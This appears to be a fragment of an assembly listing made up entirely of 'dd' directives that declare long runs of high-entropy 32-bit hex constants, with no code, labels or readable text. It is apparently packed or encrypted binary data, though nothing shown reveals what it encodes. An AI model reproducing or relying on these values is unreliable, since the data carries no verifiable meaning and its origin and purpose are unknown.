		dd 77BDC69h, 314975CAh,	45DF4FDDh, 844CC848h, 0AE8E62Ch
		dd 0A88F8760h, 0CC092B9Fh, 77C860F7h, 0E0165566h, 6FC8D030h
		dd 612693Eh, 80D6350h, 428C8493h, 164D583Eh, 0CD0C08C8h
		dd 11783D0Ch, 2C481206h, 0CE75A801h, 0E8E39D56h, 0D9002DB0h
		dd 499FE83Ah, 0C77EF9BCh, 236006B0h, 84FDF3ACh,	510801ACh
		dd 350B29C8h, 922C78CCh, 20645CB5h, 64440B2Fh, 0B8741871h
		dd 0C0EC0E49h, 2D932CC9h, 2798989Eh, 0B0859444h, 0C4D84669h
		dd 5458107Fh, 4CC45EDFh, 659674E3h, 69B4884Ch, 0B35570BAh
		dd 6C38D298h, 0C9C95AAh, 58D1E482h, 6B67A987h, 0A0CD9DA5h
		dd 4AC87C70h, 0FF6C0BB4h, 913D5404h, 8391ED10h,	0E82B7D58h
		dd 9FCF8850h, 268D1D6Fh, 0A798BCECh, 0A86C11A0h, 0E4202904h
		dd 0FCC87A1Ah, 0F35E06F4h, 6014BDC8h, 0D5DFA12h, 4B759CA4h
		dd 0C4904685h, 0CB07D1FEh, 92D7C767h, 0C8057E32h, 9442ABECh
		dd 4C0B4048h, 41009D57h, 60C0E17h, 90A32244h, 5029078Ch
		dd 100ABCA1h, 7FFBEBFDh, 2638B896h, 4F08788Bh, 0DF6001EEh
		dd 70F7F15Ah, 0C200B542h, 9FE541D3h, 0F6EA6Ch, 6452A1FBh
		dd 0CC26F280h, 4418D200h, 43CADDE8h, 941E501Bh,	9F0C044Eh
		dd 85678FD5h, 0D2203268h, 14B40805h, 51A640C6h,	70B2C03h
		dd 0AF9ED102h, 2EF0E869h, 17A909BAh, 0E700EDF7h, 0DF20D1A7h
		dd 0BB01DBF6h, 74D04BAAh, 2C7082C5h, 925B1EB0h,	0E590B11Bh
		dd 9173013Eh, 652EC822h, 3B0B3834h, 6064360Bh, 494CA102h
		dd 0DAE6EF47h, 0C4615040h, 0A610E180h, 5C006910h, 51D550E5h
		dd 274A2135h, 78010A44h, 307BC658h, 3C00EEFCh, 80282A5Ah
		dd 0FC837D2h, 4E6841Fh,	0F5084CA0h, 90902C8Ah, 20EF44BEh
		dd 8012735Fh, 0D65B44h,	85C64DBCh, 0C80EB36Ch, 8BAF174Fh
		dd 6470C036h, 0FDCB1AC2h, 8C564035h, 2433CF51h,	34D8451Fh
		dd 5ADCD2E0h, 5644D20h,	0DCB1BD7h, 701D385Bh, 754073A5h
		dd 0A11584D2h, 0C874075Dh, 0F12D7E02h, 3468496Ah, 0EC00FEA8h
		dd 0A81B4089h, 7EBD278h, 0A76BF8DDh, 0A07B8764h, 0BC9A307h
		dd 5D2524B8h, 2C14CE3Dh, 89B8A7C2h, 88A8A304h, 579A0BD4h
		dd 1B624C12h, 79878AAh,	0E10944E5h, 2B27586Ah, 4D2A0831h
		dd 70512601h, 7300BA85h, 7CFEDCCDh, 93DD36Ah, 853FC8E9h
		dd 7BD5A421h, 0A02C45DEh, 93058824h, 8FAA39ABh,	525A0E6h
		dd 0CA120885h, 4C0592F0h, 0B0C0E06Fh, 0C646113h, 7775C8AAh
		dd 1F1A8B78h, 5EE17BCCh, 0D053E918h, 6B067824h,	0BAA86E4Eh
		dd 57788140h, 0E4BA8C51h, 0EC8B1088h, 38D8D417h, 6AE7E44h
		dd 2ECC5A38h, 93E0182Fh, 0D3428490h, 6B00444Eh,	0C415AAB0h
		dd 0B434D250h, 0CB830CB2h, 0D1043E11h, 0BA40446Eh, 79516080h
		dd 70590F13h, 0B3038432h, 0F00194F5h, 36B16899h, 803F1CC8h
		dd 4764E478h, 25E2611Eh, 0D480E31Eh, 0B6B8CA70h, 18673DC6h
		dd 0A808EC89h, 4401D8A1h, 8000CF38h, 54194348h,	27A1794Dh
		dd 1805FA55h, 0DA03AF3Fh, 611ECCh, 7811D1C9h, 0E14448FCh
		dd 506D59h, 0AB4C12DFh,	3F049019h, 1E02C774h, 2232B559h
		dd 82BED884h, 0F8580254h, 0D6B8C812h, 0D4E548F1h, 644D5866h
		dd 0DCA7C882h, 0D8B7AC01h, 57F80F2Fh, 20F81A89h, 9E350200h
		dd 746F6869h, 0BC7A00F0h, 27FF24C3h, 1C4C162Fh,	0F6C901EBh
		dd 1A9F036Bh, 98106FF4h, 0C17C2440h, 0C16A1E80h, 0EACBDC34h
		dd 0A9A8936Ch, 44050CB1h, 0C93682Ch, 63A6CC1Eh,	6B2F7A10h
		dd 0D32C814Ah, 0D03226CBh, 0C109FC43h, 5C8B239Dh, 9CB80444h
		dd 0C8800590h, 934B8B2Dh, 0CBBF7C90h, 0FE109205h, 0A2808368h
		dd 8C0DEBCh, 12F46BD1h,	1249121h, 5E8FCC65h, 0B442035h
		dd 0BF79F760h, 3A31EE62h, 0D6035D4Ah, 0A98B8746h, 0C0D508A0h
		dd 13755800h, 0F1E44B2Ah, 0C8D91203h, 0B4C80C7h, 5335CC47h
		dd 0FCC7D0C5h, 4E7C982h, 1128E70Ch, 604CC715h, 0CCD0064Fh
		dd 24B62925h, 0E1876107h, 0C141C003h, 38C03CA6h, 7DFE07E0h
		dd 60F9CC10h, 76403F82h, 0A25B9E12h, 0A5C30CF1h, 42449009h
		dd 1408C028h, 0E5FC808Ch, 0D327816h, 0B4E4D013h, 14019722h
		dd 79E73C88h, 0C458C978h, 32052F88h, 9E59BC48h,	7AEA8301h
		dd 2FAD6B01h, 846C276Ah, 54FCC2h, 0F70CD8ECh, 1001A37Ah
		dd 88E4DFFDh, 32CB05D2h, 0E694136Ah, 5723102Ch,	3674600h
		dd 6E9FB430h, 0F370E00Fh, 0C909DC1Ah, 1CD8B8h, 65CB6BF7h
		dd 504787F4h, 0FD63A200h
		dd 73DD850Ch, 0B343F02h, 5C5C5C7Bh, 0F3ACC04Bh,	0D924F6CDh
		dd 84160ADh, 3C2CD276h,	2CCB7D8Bh, 0B80112BCh, 62014B46h
		dd 7DD6C6D4h, 9A200737h, 0F713265Dh, 29E5C073h,	6C091D93h
		dd 4CEB0C8Fh, 63E09820h, 0F3C87133h, 907F87Ch, 6B61025Ch
		dd 132924B6h, 8A343CF9h, 98633F04h, 9310E48Fh, 0D05C0222h
		dd 6F57D27Bh, 28B8385h,	105ABFBCh, 0C9CF045Eh, 66D41961h
		dd 64F1E001h, 0DB32CA70h, 0E13F2055h, 54EACB2Ch, 6B620EE4h
		dd 0BF28160Ch, 92036101h, 13C8520Ah, 931C502Ch,	0FD2A4FF2h
		dd 61581DEAh, 3A4FA848h, 4C909C25h, 0B6304CBFh,	0D1644018h
		dd 3E00D966h, 6C07654Bh, 40CDE2h, 0A8906111h, 2AF573EBh
		dd 1377DAA0h, 808E3E3Ch, 0FFFA7C62h, 9C83D26Ah,	609447D0h
		dd 3D05EF08h, 8837EA01h, 0B1F5CBD5h, 0B980C438h, 10AA5CCCh
		dd 0F8A1D04Ah, 30448C18h, 0B1A02899h, 0C5004F3Fh, 6C78C64Bh
		dd 0B59A7CAh, 0A1C7806Dh, 0DCDB6CC1h, 3900A353h, 13D6CC2Ch
		dd 5636024h, 0C62BBFDCh, 0D0FC0882h, 4872D8A2h,	4888024Bh
		dd 25770E5Ah, 0F9E73CDFh, 1328E22Bh, 76B75140h,	0EDCBC01Fh
		dd 0CC573070h, 34D0B0E5h, 84F069FBh, 80AC51D5h,	4C830D2Dh
		dd 0A024EF0Fh, 3B62AC8Eh, 0A6B025Ch, 65C8BC80h,	600493D6h
		dd 0F9D8FB40h, 7CC0F6C2h, 4DD50054h, 0CC836D5Fh, 64445125h
		dd 924338D0h, 0BE1F2673h, 0FF3E38h, 0FF84EC20h,	60CBCED4h
		dd 99306760h, 0A070EBC6h, 3AFBFD8Ch, 3380CD7Ch,	0A8BF0864h
		dd 0E3A2F6Ch, 97CEB859h, 0DC45C657h, 90441F39h,	0B4F3E5D2h
		dd 18F13510h, 0D8E8130Ah, 716581DBh, 8A2BC190h,	0F8B8FE40h
		dd 42137C05h, 3A8890ACh, 4AB47C24h, 0C5CB0091h,	6212C02Ch
		dd 4D821DDh, 0DE5C60D9h, 5C645A40h, 399BE405h, 0B04F604Fh
		dd 0E14CF0A5h, 28B0997Fh, 0DC441270h, 1C885004h, 2D936704h
		dd 103CBDF2h, 7D09549Ah, 4AB056Bh, 46CDC2Bh, 0BAEDC817h
		dd 0A2EEBC47h, 3EC04444h, 2F121BCDh, 804B94h, 375EFFD1h
		dd 0C69B2802h, 49EC0848h, 30645780h, 0A20E0039h, 0E546D30Ch
		dd 0AA00C204h, 5D5F143Eh, 0B0A770E9h, 0A9400A0h, 4C851EEh
		dd 1295F116h, 56D40458h, 0BAB3482h, 0AA4A0CCCh,	653EC049h
		dd 26529020h, 7C44B857h, 67F44024h, 0A2954402h,	2420935Eh
		dd 0C0C99CCCh, 0D00567C8h, 0C66039CBh, 87EB8C10h, 60D4AA08h
		dd 0F6D6F0h, 0E04E9324h, 7C715C58h, 66CF0C1Ch, 22F56F80h
		dd 7E23562h, 8EBB57BCh,	107B76EAh, 8D78CCFCh, 2710BD00h
		dd 596AEC63h, 57DC0081h, 9DB785B3h, 0A10351E2h,	0CBD2BBAh
		dd 19406171h, 0B9EBFABCh, 109A3340h, 0E020BE48h, 7EC4008Ch
		dd 0E1A61978h, 3200B889h, 4571BCE7h, 3D0D154Dh,	3FF6E561h
		dd 5680EA82h, 0B2DCE605h, 0EE5CBD3Fh, 3DBC0C49h, 3B335064h
		dd 0FC19E24Bh, 0F8B8104Ah, 503CD077h, 5A3857h, 71F3DBF1h
		dd 0DFE179D9h, 845D0050h, 0DA454D6Ah, 0BCBB5104h, 3D05C786h
		dd 0FF3C070Eh, 0F030DD20h, 12605315h, 85E20318h, 0ADD13FA8h
		dd 20C0BF99h, 99E120BDh, 41D9DC14h, 0F8670A34h,	1001604Ah
		dd 3FDA1E5Dh, 0FE651041h, 0D1CF5C40h, 0BBA42685h, 0DD150601h
		dd 5F01181Ch, 683DA2AEh, 13308C4Ch, 58FA00FFh, 15D1C1AAh
		dd 0BCA271EBh, 9F4BD0C0h, 56943118h, 10CD5760h,	324CB15h
		dd 0BC2EDDACh, 9D3F8F6Ah, 0A526D0A8h, 183CABCBh, 7281003h
		dd 0A4860082h, 6485BA48h, 0C0009132h, 2C1156B7h, 3B138C40h
		dd 0F33D97h, 184FBD87h,	774D1625h, 0D9C00A78h, 506990C2h
		dd 705A000Dh, 0FF30D54Bh, 0B3001EBBh, 21998F0Ah, 3FFDD3E9h
		dd 33A47F19h, 3554003Ch, 4E17773Ah, 0F753E0A0h,	9F0C1300h
		dd 0E77D1A42h, 2C30013Dh, 7584C587h, 0A360E0CAh, 82C2AA14h
		dd 0BE2038Ch, 9835EC55h, 3AC8852Eh, 0AB00B202h,	0A254A0D1h
		dd 0F56E1331h, 492407D0h, 359C7BE0h, 25270146h,	0D0754EC9h
		dd 700DE03Dh, 0FEDD2400h, 0DED6B120h, 2F1515E9h, 5907A81Bh
		dd 0E531DCE1h, 10B800ADh, 28D50342h, 66D1B764h,	0BD154C80h
		dd 0F45250A5h, 100E01BAh, 2E320C34h, 2638863Eh,	48F0463Ch
		dd 0F00B45Dh, 23DAE442h, 10011541h, 0B2B8E9FFh,	0A960B157h
		dd 9DC4004Dh, 1127D8CFh, 0DF0105BAh, 0BD2E54D5h, 0EC40E66Dh
		dd 50E26B33h, 336F85Ch,	860B3C7h, 55D0D9E1h, 19018D44h
		dd 0C1F35D16h, 7422BDFFh, 3BA83524h, 1C8CCE90h,	0D4809175h
		dd 7661323Dh, 7F8B065Ch, 28833322h, 3069B20h, 0BD820B3Bh
		dd 10066715h, 55163209h, 842C48E0h, 4205724h, 81E1CA38h
		dd 80EBB770h, 718DBFD8h, 1774ADCh, 8E581094h, 244B1464h
		dd 680D18Ch, 6F7B00F3h,	4F957225h, 5A0961D5h, 0FCBDCA9h
		dd 270E00B8h, 78FFA50h,	19A007E9h, 5D3DC0A4h, 8A7CE017h
		dd 39647714h, 0F26A01B4h, 0BD310FA7h, 0C0506BC8h, 0BCBE01A8h
		dd 850CD9D1h, 817FD290h, 0AB860681h, 2872DB31h,	84428890h
		dd 97C8307Ch, 0FD948318h, 7CFF5C0Fh, 3CA486F1h,	8ABD1831h
		dd 38F8D070h, 0AE5A8500h, 0F9BCA028h, 0ACD8A0EFh, 83EC2631h
		dd 33BB833Ch, 0D5E02BBEh, 63502846h, 0C82877E4h, 404CD491h
		dd 0BE58C87Ch, 55BC187Eh, 1A3B50EDh, 15149CE8h,	9B4FD72h
		dd 0A97030AEh, 0BA54000Ch, 0A04BFB77h, 73AB4888h, 0E33F00C8h
		dd 16D520B7h, 64749160h, 9FDEA800h, 0BC90D254h,	0CFA599Ch
		dd 6529350Eh, 10E0154Eh, 4B5231A5h, 64C460C0h, 0EC2D82CAh
		dd 0DDC4A1D3h, 544AB300h, 2B159900h, 913E4EEBh,	0FD1402A2h
		dd 75BD6F50h, 812C0860h, 653D5800h, 0E1C886E4h,	0B8F700FEh
		dd 8D10836Fh, 0B530785Fh, 26E5B858h, 9198A2B4h,	0F3F0AE60h
		dd 48C0F085h, 0D849D05Dh, 84D21515h, 8947C90Fh,	0F1C03287h
		dd 0FA75C227h, 0EE522460h, 5A2D48h, 7E4D97E8h, 1ABEB189h
		dd 60B0C577h, 3670C410h, 166580C0h, 387AE544h, 63A8319Eh
		dd 0D48D4880h, 60773778h, 82E57510h, 58405700h,	2F004BBDh
		dd 64FD63A4h, 1613C9h, 7CD24ABFh, 8E623548h, 89B4B158h
		dd 2702997h, 28FC9ECh, 7880F7FFh, 4DE29B2Fh, 0F8933524h
		dd 1EBFEF01h, 2BE0F232h, 4F15195Bh, 64ACF8DFh, 1230C650h
		dd 5D13C85Fh, 0CC321911h, 0C80F5816h, 4938BBA5h, 0AB182DDh
		dd 0C89D3642h, 81066B80h, 0F5DD8B7h, 0AC2C321Ah, 7BA01038h
		dd 0DB860044h, 0DEBF651Ch, 0F948C6AAh, 189E200Ch, 0B033F6B7h
		dd 4D63C8BCh, 0C34A8D58h, 2A900AB6h, 1DB0DC5Dh,	0EC99621Ah
		dd 589F318Fh, 218C48h, 81EB5B38h, 8DAF321Dh, 291318C2h
		dd 0BD8CA1BEh, 0A3CD2C64h, 0BE8811A4h, 0D06A8C15h, 60D0EC40h
		dd 2C136958h, 401F14EBh, 10ACD332h, 0CF70F700h,	4EB13Ah
		dd 0DF440C3Dh, 0D674E686h, 1AC10C0h, 17574C3Fh,	717333CCh
		dd 0F03ED944h, 21005537h, 104D1D25h, 909F5A2Ch,	907E0011h
		dd 0C06BC3FFh, 3D00A9F5h, 5895CC31h, 662977B8h,	0B0639837h
		dd 0E7402A19h, 0C86086EEh, 2EC340D9h, 0D8CB6305h, 28D0E47Bh
		dd 808CDDBDh, 26173035h, 78408F84h, 0E1496AE4h,	0EA02C301h
		dd 0A3B8DA0h, 38607E5Eh, 253D8A0Ch, 27056BC0h, 73908400h
		dd 0C7EA5223h, 0E7271460h, 0C5162E69h, 0C252D0Fh, 0C01080E4h
		dd 0B6070F71h, 7F0C259h, 29C7E835h, 0D3B6046Bh,	2B812281h
		dd 73852D80h, 0FA8A614Ah, 0CF006073h, 8E7C25Ah,	5056D7F8h
		dd 5129B1BEh, 77EFDD27h, 81C42C36h, 0CC511E94h,	0F8164F63h
		dd 0DF88D407h, 850FEF84h
		dd 89BA0BA9h, 824BE01Fh, 1FBB10C1h, 69C85937h, 876F55CFh
		dd 0BF0094C5h, 862A31A3h, 8200432Bh, 7B35CBEFh,	33EA471Dh
		dd 572C7CD1h, 5257580h,	0F5905F39h, 10F08C77h, 51C9C000h
		dd 1FEA5955h, 5B2EC034h, 0E682D6F8h, 8D802126h,	0C4B95102h
		dd 0EAA78108h, 289D2013h, 456DCA97h, 2EF6FAEh, 355070B0h
		dd 0FBFEB6h, 0EE3E07BCh, 80FEDC31h, 0C48244DCh,	0F4EA3DA6h
		dd 7DDE3224h, 882E663Ch, 7B5E744Eh, 0C6C970EFh,	59D12202h
		dd 0D4158C39h, 551E5498h, 3AF070EAh, 1B69D7B9h,	370647EBh
		dd 41E9C281h, 6189CACh,	801AEC30h, 2291ED82h, 69568A18h
		dd 0EE2B0FC1h, 0F3E65B1Fh, 2E070FC3h, 3CEA655Eh, 6F3DDB27h
		dd 0C2021E00h, 0A0827359h, 551DEA09h, 9EE32C20h, 0C1825091h
		dd 71247029h, 0CF4F05Ch, 58477ED7h, 6507EC0Ch, 0DF02BC4Ah
		dd 1D17EAF3h, 1ED52DADh, 0F32E4CE9h, 0C61E874Ah, 0FD4CD9F7h
		dd 7F0212E4h, 0F9E0FE9h, 82893D59h, 0B5511720h,	0F5398184h
		dd 83EBB99Ah, 95EAE329h, 32202403h, 0E4341CA8h,	74C64F0Eh
		dd 81761C0Dh, 6B30EC78h, 9A0E1059h, 1F380012h, 0CE41D36h
		dd 0C87F32ABh, 8C62F9E6h, 91C58244h, 0B0615185h, 7368760h
		dd 43903FC8h, 406AD39h,	59EC4A0Ah, 5238A8EAh, 0D100AD31h
		dd 7DA7BA52h, 540037EBh, 9D6E57BCh, 0C6EC8260h,	0C2CF4BAh
		dd 72521C01h, 554FEA20h, 0EED4C124h, 0E5B6185h,	0DC10C10Ah
		dd 53924086h, 0B11D7828h, 0F16D0B67h, 0B8474275h, 1BD9DC69h
		dd 4EDE9A6Fh, 9FB4DF18h, 5FF143EFh, 3BCECFEAh, 8318F322h
		dd 5821E9F6h, 82E71185h, 84220CC7h, 4ACE880Ch, 3EDE05Dh
		dd 0F00D8A67h, 8FB80654h, 2C2E6CEAh, 9ACC893Bh,	2D0E0772h
		dd 2F402CD3h, 3EB151h, 0C329AAB3h, 0EAD13159h, 2CD0D87Ah
		dd 0BFB36430h, 8F65B8Ch, 3EE825Fh, 0EA30BDAAh, 0DA69B184h
		dd 0B965A833h, 573E0491h, 95A5EA4Bh, 0BE520ABAh, 1C0FA4D8h
		dd 996038E0h, 0E78133B7h, 0F73B8973h, 0D4CF1DB2h, 20BBDF54h
		dd 53672638h, 721083h, 0BBC05860h, 32E7F27h, 2D1FD082h
		dd 0E8B04F92h, 0A73E28DFh, 0E224C14h, 0AC658339h, 390110E0h
		dd 0EA1FE8A9h, 0D0CF73A6h, 800D2FBh, 9430C882h,	42233D3h
		dd 0EBC260FBh, 1FF28006h, 390304D2h, 0C3EAD88Ah, 533E0097h
		dd 3D3835BBh, 0C602BC5Ah, 2AA5084Dh, 0EA0D60D4h, 4853748Fh
		dd 0E007FB22h, 0F749A833h, 56E7D3DAh, 1046424Ch, 690B1DBDh
		dd 5E3202C6h, 2210930Ch, 8498F94Ch, 0CA108330h,	7E71E70Fh
		dd 8CE93281h, 3879322Dh, 0EA310667h, 344DF5Eh, 536AC481h
		dd 0C3B25BB3h, 0AE6CB38Eh, 0CBFEC706h, 0CF318C9h, 24EABCFAh
		dd 0A0226C6Dh, 6B691AEAh, 3C819B67h, 37515A55h,	98EA126Eh
		dd 56544340h, 5882E68Ah, 0EECEBFC6h, 5D2162D2h,	44A00044h
		dd 4BC2A2CFh, 6E0D8CCEh, 0B0EFF610h, 0FC7334EEh, 0BC9B06D0h
		dd 0C4435B7Eh, 69141D20h, 0D4A54613h, 795809B7h, 0FC3E964Eh
		dd 6E0A54D1h, 0FE5049EAh, 0FC4B4F77h, 879A2A2Fh, 1BF61C84h
		dd 0C4B417C7h, 0A23F697Eh, 889AC386h, 6764349Ch, 2969D780h
		dd 135CECFBh, 0FBFB652h, 82F45AD7h, 2C370810h, 8D188B4Eh
		dd 1EB8C373h, 0FD0FAA4Dh, 980F828h, 6E18A51h, 6068129Ah
		dd 20D0F211h, 17541065h, 5709874Dh, 2EB25F55h, 1440612h
		dd 0D414FF9Bh, 0EA9D06D5h, 315ADE39h, 0DF6AC184h, 442214FAh
		dd 5327AF2Eh, 3DDA2860h, 0EA1309A7h, 0A9086BAh,	4AB2EDE1h
		dd 2B51D258h, 0B53D4B3Dh, 0B6016BEDh, 3BA4065Bh, 5FF8B125h
		dd 374DD60Ch, 247D11CDh, 5704FC34h, 0A16D97CFh,	0C6021D18h
		dd 995A25F0h, 66A6CFB5h, 0FE58BF26h, 91E61E1Eh,	2D002F93h
		dd 2724FDEEh, 724B005h,	26B879FBh, 41086902h, 2AEA0908h
		dd 885A9521h, 31A54815h, 40940544h, 8DA082DDh, 0D93E7D88h
		dd 45F41B80h, 6473C789h, 5C2612FEh, 0ED26145Bh,	0EA2F6193h
		dd 5F1924F3h, 0C0F08A32h, 0C489031Ch, 1D8CDA90h, 29591DA0h
		dd 0D50C979h, 27A65209h, 89753561h, 0AA61F7F9h,	4065BB20h
		dd 6050544Eh, 3E9431DAh, 28AF6905h, 0B75FCCh, 0ACEF81D5h
		dd 31D3B454h, 3F204EBAh, 11060553h, 0D4020C6Ah,	42071D41h
		dd 1D097121h, 265E7169h, 0D92A149Bh, 338B07FDh,	0CBE0097Ch
		dd 0C3B24F4h, 4322EA32h, 0D777B826h, 22759625h,	0C152882Dh
		dd 0F5D8B613h, 2C50714Dh, 8055A1EAh, 54274726h,	940F0619h
		dd 0E6039373h, 1E12F5h,	0C2080ABEh, 0D8EB8217h,	3894230Eh
		dd 3EEAC22Ah, 26C55141h, 76A40F38h, 3E0B7DA9h, 0D8F86EA2h
		dd 60044941h, 0BF04C92Ah, 0FE325A78h, 2A1E40CBh, 0C9DF6670h
		dd 5A0D7584h, 2C554640h, 0C9B547D0h, 0C802CA90h, 6E2490B9h
		dd 665CDBE2h, 0D1F2BA84h, 79143786h, 0EB48237Eh, 0DA124F07h
		dd 71D6D26Ah, 0DC390E48h, 0E0E89082h, 5A803E4Fh, 8C230C92h
		dd 344ACDE8h, 0A5D1871h, 14318022h, 0CAF4324Bh,	2586F3C1h
		dd 0AC0061F1h, 3118B1E0h, 0D032EBh, 1A69545Ah, 5C347015h
		dd 0EA2EE0F4h, 0BC802833h, 1CD518E6h, 48F40082h, 0C211EB67h
		dd 691708E4h, 0C53104EDh, 0E5E099BFh, 0EEA272Dh, 2A62012Ch
		dd 85CAF8B7h, 5ACA1D0h,	60E88A58h, 8B0EAC8h, 98D80A80h
		dd 121D86B2h, 981C3AEAh, 2B2C690Fh, 0AF6F3775h,	0A5C9EAEAh
		dd 6885CA09h, 80670E3Fh, 0CB580259h, 326A0703h,	0D0E24F08h
		dd 0E92A02FEh, 5165F2C1h, 485AAEF6h, 4D507D76h,	0F1640294h
		dd 12C25FC7h, 0D88025Bh, 0A008E551h, 0E2C2045Dh, 80C7C509h
		dd 3BFDF95Ah, 0A332FB32h, 4EC0CAACh, 6656241Ch,	5CDA8320h
		dd 69F0C284h, 74AA5176h, 0C2843D92h, 0FE890778h, 0A47F0E2Bh
		dd 16C159C3h, 0F8663ABDh, 94262424h, 0F5185467h, 69EC83DAh
		dd 74924F1Fh, 0CCBD2D95h, 0A1DF9890h, 9522C416h, 1B893426h
		dd 0D360632h, 13A45E5Dh, 374F8F69h, 10E33569h, 54142BBDh
		dd 0D4824BCh, 0F70B1A06h, 50190C69h, 18C4D23Ah,	0B672393h
		dd 9D833409h, 1022E002h, 0F40AC5C8h, 0F3FA1B56h, 4E9A6801h
		dd 0DB0269A1h, 18BC5E30h, 48441B2Fh, 0F09689Dh,	611EEA1Ch
		dd 37F8BF3Eh, 0A710AEEh, 2CF08CF6h, 29B473BCh, 0A86630h
		dd 0F8451180h, 6D0FEADEh, 0D60AA692h, 0B00CB674h, 40DD41Bh
		dd 0BA30DE8Ch, 90A4C645h, 0EFF65612h, 29E9C404h, 9C9600Eh
		dd 32597821h, 1A97F8F3h, 24606894h, 9828EB53h, 0D0820290h
		dd 1DFA221Ch, 83059661h, 0CE16D658h, 420C0208h,	58CC0EC9h
		dd 29E896C8h, 10E4794Ch, 4A507AEEh, 606E5C43h, 97A97D2h
		dd 5EB63890h, 0B81020C1h, 0BCAA69C9h, 828C205Ch, 77A3BA05h
		dd 0EC279C7h, 0D6FB465Fh, 57AC0B07h, 692D199Ch,	261D2AF6h
		dd 52801029h, 0BB7D1BBAh, 10EA1345h, 0C3E82240h, 24C11644h
		dd 54952FEBh, 9008BC20h, 750F2209h, 4D37C807h, 0F0F248E3h
		dd 17404009h, 0C0E760Dh, 6830EA4Ch, 0E24F8A6Dh,	0FA6F2D37h
		dd 80F4940Ch, 26609D53h, 26937644h, 0DDEC0152h,	25AB1BFDh
		dd 0EA3589E2h, 600C2A4Ch, 0FC09BC24h, 0DF4F0E60h, 1C4D3A8Ch
		dd 72D6A248h, 21B6C0A5h, 222D8DE3h, 0F600A3BAh,	23252FF8h
		dd 7695254h, 34F37EB8h,	30F2E05Ah, 550C386Fh, 1206EAC2h
		dd 3F160723h, 0A2CC8A0Bh, 2A4A812Bh, 4F291980h,	0CC73936h
		dd 497007DEh, 9CDCE3EAh, 0D9BB4329h, 2A4D4CC0h,	8CCD14Dh
		dd 246575EAh, 931D6245h, 0FC00A00h, 8ED3084h, 4EC8346h
		dd 2C1AE917h, 0E6E6884Eh
		dd 0E5ABEh, 0C8BC828h, 4C48324h, 0FB1C537Eh, 0BA4FFFF9h
		dd 793B200Bh, 98D78957h, 6292FE72h, 0C1811EEBh,	9C2CCBE0h
		dd 597EC8FEh, 56325136h, 5966F053h, 0C300866Bh,	398211B9h
		dd 0D00FBF57h, 80019958h, 0F07F0EE7h, 0D5E91832h, 0C6C35BDBh
		dd 2568281Eh, 441353CCh, 6303EC58h, 343322EFh, 35D96010h
		dd 4B56BE00h, 0D6019B58h, 0C6815A00h, 485E4F26h, 3395DCE9h
		dd 95D02B7Ah, 7C062952h, 3C8B0824h, 2A72204Ah, 0B9D7D1EBh
		dd 7F594064h, 81843052h, 0B753661Eh, 0EF33A879h, 0C359122Bh
		dd 278AC1F0h, 91F6EB81h, 532092C1h, 629689BDh, 3C78AE20h
		dd 8B3D1487h, 0B81DC07Bh, 34BB1B84h, 7A44293Fh,	1E8B7DCCh
		dd 44CCA381h, 0D058D2C3h, 0E90C1ACAh, 461E1E82h, 0CEBD5500h
		dd 315356B4h, 683B0EEh,	0ADE95EF7h, 5914D4E6h, 7B1C329h
		dd 2EDE382Fh, 718E2h, 0CE125CB8h, 0D0A06051h, 63B3F4Ch
		dd 0A2825001h, 92E34A68h, 6AEE401Eh, 0FC11C112h, 5AD10F08h
		dd 2C8E2CE9h, 42D200F7h, 115EC281h, 5201602Bh, 0C8215A59h
		dd 27B2D3E9h, 0A0A26E32h, 7CB8C309h, 640CB850h,	0E47F5A73h
		dd 236E005Ch, 53ED810Dh, 1176137Ch, 3B2C53Dh, 0A8E9010Ch
		dd 0C3AF2846h, 0A0EBEC23h, 50FF5306h, 538BB674h, 8F31371Ch
		dd 40895C80h, 512068C3h, 1946F048h, 0C54B7BBCh,	5B734209h
		dd 0F3C1CF9Bh, 0F172489h, 0FC8BE3Ah, 1F5EAC68h,	0F8898C24h
		dd 0C67520D5h, 0E5233F9Fh, 80544220h, 3B1E665Ch, 0E39B9CC8h
		dd 0BA5DEB2Bh, 5C80487Bh, 20F17FF6h, 4E3F8C41h,	3113A451h
		dd 3E026886h, 7C6F249Dh, 648A407Eh, 0BB902E8Ch,	5920C31Ch
		dd 655260BBh, 30E9086Eh, 52E94ACh, 0DB3D42DDh, 79EE1A23h
		dd 104A9314h, 2DE8DC3h,	305BD828h, 817744C3h, 53E088A7h
		dd 1850FA54h, 2CDC67E9h, 1FEEC1FEh, 0A11832A2h,	89805336h
		dd 64F7EEE1h, 805D30D6h, 0D40B491Dh, 0A60C4360h, 249C94C5h
		dd 0C1BD529h, 0C73992CCh, 0FD015801h, 2BE565Fh,	208B5BA0h
		dd 5C768DF8h, 0CD4C0E2Ah, 8856C9C9h, 4620C387h,	16E95709h
		dd 0BC882080h, 912DB344h, 815805CCh, 0ED1618ECh, 4A645368h
		dd 0FD032C11h, 0E9896C07h, 0C13E3452h, 4603E026h, 0C4D2B08h
		dd 0AD526C81h, 79B27F06h, 0F8105C01h, 150CA444h, 0FAE2ECE9h
		dd 1E0AB669h, 0C67109Dh, 17D02158h, 4FBA2068h, 0DA8FE91Ah
		dd 0A549AF34h, 59501DB1h, 5581759Ch, 43F8AD21h,	0BD160079h
		dd 37640F0Dh, 0ECC9C531h, 4A0280F5h, 90454D34h,	75B380B7h
		dd 9BE91030h, 0E91483Ch, 6761D4BAh, 77D34214h, 0ACE44643h
		dd 11F8724h, 54E9555Ch,	0E59EA8F0h, 96FF703h, 0EAEE8925h
		dd 317748DFh, 0A78B51EBh, 0AF24C6E9h, 17823668h, 0E0A4F0C7h
		dd 0F6F4E918h, 4685136h, 311507EAh, 69368759h, 0B6865780h
		dd 8926BE05h, 8D48EBCDh, 0E9FD8782h, 0BB8FA0F6h, 0B04C0719h
		dd 13E374D2h, 1225EE42h, 5B080915h, 41342080h, 93B00914h
		dd 0B7998862h, 26802932h, 0B27E16BFh, 6AE93E0Ch, 45BD2533h
		dd 49B6311Fh, 81B3D796h, 24945E42h, 82E83159h, 0A5496EB8h
		dd 0BF88D3DBh, 0D71302C7h, 0D1F7493Eh, 39DE4463h, 0C380EB0Fh
		dd 0CB0636ACh, 774F62BAh, 719C33FAh, 7877080Eh,	55D0B1F2h
		dd 5358C245h, 0D80110BBh, 6496E919h, 25099789h,	8D8B2285h
		dd 0BA41BA87h, 104224Eh, 0D28DAF7h, 3B3AEC4Ch, 0B906D192h
		dd 0E1F4F4Eh, 100500D4h, 0CE093EA2h, 0BEA95659h, 9EEEF85Eh
		dd 0C384D0Bh, 16A0129h,	408F5FFBh, 25C065C2h, 42A9E181h
		dd 0FC026A28h, 0BE79F70Ch, 5C38580Ch, 67C0703h,	986183F1h
